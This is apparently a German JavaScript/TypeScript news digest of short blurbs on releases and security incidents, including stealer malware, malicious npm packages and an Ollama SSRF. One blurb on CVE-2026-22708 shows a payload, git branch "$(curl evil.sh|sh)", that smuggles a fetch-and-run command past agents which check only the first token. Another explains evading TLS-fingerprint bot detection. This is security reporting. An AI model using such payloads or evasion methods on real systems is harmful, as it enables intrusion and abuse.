Das JavaScript- und TypeScript-Ökosystem.
Shopify entwickelte zwei interne KI-Agenten – Pi für Feature-Mapping und Tardis für Live-Debugging –, um den Rewrite-Prozess zu automatisieren. Dadurch konnte der sechs Jahre alte React-Native-Stack ersetzt werden, was zu einer um 2 Sekunden schnelleren Startzeit, einer um 109 MB kleineren App und etwa zehnmal weniger Abstürzen führte.
Durch den Ersatz des sperrigen `new Promise`-Musters durch einen einzigen `Promise.withResolvers()`-Aufruf können Entwickler resolve/reject-Funktionen an beliebige Teile des Systems übergeben. Dies verhindert vergessene Resolves, Double-Reject-Warnungen sowie tiefe Verschachtelungen – ein entscheidender Vorteil, besonders in serverlosen Lambda-Umgebungen.
Server hashen das rohe TLS ClientHello zu einem JA3/JA4-Fingerabdruck; jede Diskrepanz zum angegebenen User-Agent oder den HTTP/2-Einstellungen markiert die Anfrage als automatisiert. Die einzige zuverlässige Lösung besteht darin, dass jede Ebene der Anfrage dieselbe Browser-Identität vermittelt.
Die im GGUF-Format vorliegenden Gewichte von Pocket-35B lassen sich direkt in llama.cpp oder Ollama laden. So können Teams ohne GPU-Budget ein Modell mit 35 Milliarden Parametern auf einem Standard-Laptop nutzen – vorausgesetzt, die moderaten RAM-Anforderungen werden erfüllt.
Beim Casting wird die Wiedergabe an die Firmware des Fernsehers übergeben. Daher müssen Token über die Sitzung hinaus gültig bleiben, die CORS-Header müssen die Origin des Fernsehers enthalten und die Stream-URL darf kein Blob sein. Dieser Leitfaden zeigt, wie Sie auf eine Manifest-URL umsteigen und die Verbindung validieren.
Das neue Standard-Lockfile in Bun v1.2 ist eine Plaintext-Datei namens bun.lock, die das undurchsichtige bun.lockb ersetzt. Diese Änderung ermöglicht es Reviewern, exakte Versionsänderungen zu sehen, Policy-Prüfungen in der CI durchzuführen und böswillige Manipulationen mit Standard-Git-Tools nachzuverfolgen.
Die rein im Arbeitsspeicher (RAM) operierende JSCeal-Payload extrahiert Cookies, gespeicherte Passwörter und OAuth-Token aus Chromium-Browsern. Durch das anschließende Replay der Sitzungen wird die Google-Zwei-Faktor-Authentifizierung umgangen, was es Angreifern ermöglicht, Gelder von Binance, Bybit, Ledger und weiteren Plattformen zu stehlen.
The packages, published between 04:54:59 and 04:55:48 UTC on 7 September 2026, mimicked @coinbase/wallet-sdk with names like cb-wallet-http and used a 0.0.1-security version, highlighting how quickly malicious code can infiltrate projects.
Cisco Talos hat ClickFix entdeckt, ein Krypto-Skimming-System, das Nutzer dazu verleitet, ein Tampermonkey-Skript zu installieren. Das Skript schreibt Einzahlungsadressen in Echtzeit um und zapft dabei Gelder ab, während die Transaktion legitim erscheint.
Tests von 13 Bereichsausdrücken mit 19 Versionsnummern ergaben lediglich 17 übereinstimmende Ergebnisse, die meisten davon Ablehnungen. Caret-, Tilde- und Dot-x-Symbole werden von den jeweiligen Managern unterschiedlich interpretiert, was zu überraschenden Inkompatibilitäten führt.
Der SSRF-Bug besteht in Ollama 0.33.2 weiterhin fort, da der Tensor-Modell-Downloader einen separaten HTTP-Client nutzt, der den für CVE-2026-5530 eingeführten Redirect-Schutz umgeht. Dadurch können Angreifer Modell-Downloads auf jede beliebige erreichbare Adresse umleiten.
CVE-2026-22708 demonstrates that agents checking only the first token of a command can be duped by payloads hidden in arguments—e.g., git branch "$(curl evil.sh|sh)"—granting attackers the same privileges as the automation bot.
Der Rabatt von 45 % gilt, wenn derselbe System-Prompt und dasselbe Tool-Schema über viele Iterationen hinweg wiederverwendet werden, was Claude Fable 5.1 besonders attraktiv für autonome Code-Reviewer, Ticket-Triage-Bots und andere repetitive Agenten-Pipelines macht.
WebFPGA nutzt die WebUSB-API, um einen Lattice iCE40-UP5K FPGA via JavaScript zu programmieren. Dies ermöglicht eine TinyML-Inferenz von unter 10 ms bei einer Leistungsaufnahme von nur wenigen zehn Milliwatt, wobei alle Daten auf dem Gerät verbleiben.
Die offengelegten Schlüssel ermöglichen es Angreifern, Abbuchungen zu erstellen, Rechnungen abzurufen und personenbezogene Daten zu stehlen, was Rückbuchungen, Bußgelder und Imageschäden zur Folge haben kann. Zu den sofortigen Maßnahmen gehören das Blockieren von Dotfiles, das Erneuern aller Schlüssel und das Auslagern von Secrets in einen Vault.
Die neue Version optimiert das Absatzlayout für komplexe Skripte, bietet eine reduzierte Entwurfsansicht und verbessert die ODF-zu-DOCX/XLSX-Konvertierung, während Sicherheits-Patches und Macro-Sandboxing Dokumente lokal sicher halten.
Die in Rust geschriebene Engine läuft in einem separaten Prozess, entkoppelt die Typanalyse vom UI-Thread und nutzt ein intelligenteres Caching, das nur geänderte Dateien erneut prüft, was schnellere inkrementelle Builds ermöglicht.
Vue 3.6’s upcoming Vapor Mode compiles single-file components into direct DOM calls, eliminating the virtual-DOM diff step. In benchmark games that repaint dozens of times per second, the change cuts render time and shrinks bundles, though low-frequency UIs see little gain.
Die Ingenieure von Anthropic nutzten 64 parallele Claude Fable 5 Agenten, um den Bun-Code innerhalb von 11 Tagen in Rust neu zu schreiben. Dabei fielen Token-Kosten von 165.000 $ an, doch die tatsächlichen Kosten dürften noch höher ausfallen, sobald die Rechenleistung nach dem Merge sowie Sicherheitsaudits eingerechnet werden.
Durch das Wegfallen der reinen Beta-Request-Header können Unternehmen nun endlich rechtliche und sicherheitstechnische Hürden überwinden. Der neue Batch-Aktionsmodus für das Computer-Use-Tool verspricht zudem geringere Latenzzeiten und einen niedrigeren Token-Verbrauch, wobei die tatsächlichen Einsparungen noch verifiziert werden müssen.
Das Release bringt zudem produktionsreifes Partial Prerendering, das die Time to Interactive um 40–60 % verkürzen kann, eine verbesserte TypeScript-Unterstützung für Server Actions sowie Rust-basierte Middleware. Es erfordert jedoch Node 20+ und kann bestehende Webpack-Plugins beeinträchtigen.
Die neue Beta ermöglicht es Ihnen, nur die Grid-Funktionen zu importieren, die Sie tatsächlich nutzen – lassen Sie Sortiercode komplett weg, verkleinern Sie den Download auf etwa 5 KB und vermeiden Sie Main-Thread-Arbeit, die zuvor die INP-Werte verschlechtert hat.
Meteor 3.5 führt einen austauschbaren DDP-Transport ein, der über die Umgebungsvariable DDP_TRANSPORT=uws auf uWebSockets.js umgestellt werden kann. Dies ermöglicht einen bis zu 1,6-fach höheren Durchsatz, 9 % weniger CPU-Last, 11 % weniger RAM und 26 % kürzere GC-Pausen für RPC-intensive Anwendungen.
Fortgeschrittenes serverseitiges Caching in Next.js meistern. Die Skalierung einer Next.js-App erfordert mehr als nur die Entscheidung zwischen SSR und SSG. Wenn Ihre Daten wachsen, benötigen Sie fortgeschrittenes Caching, um zu redu…
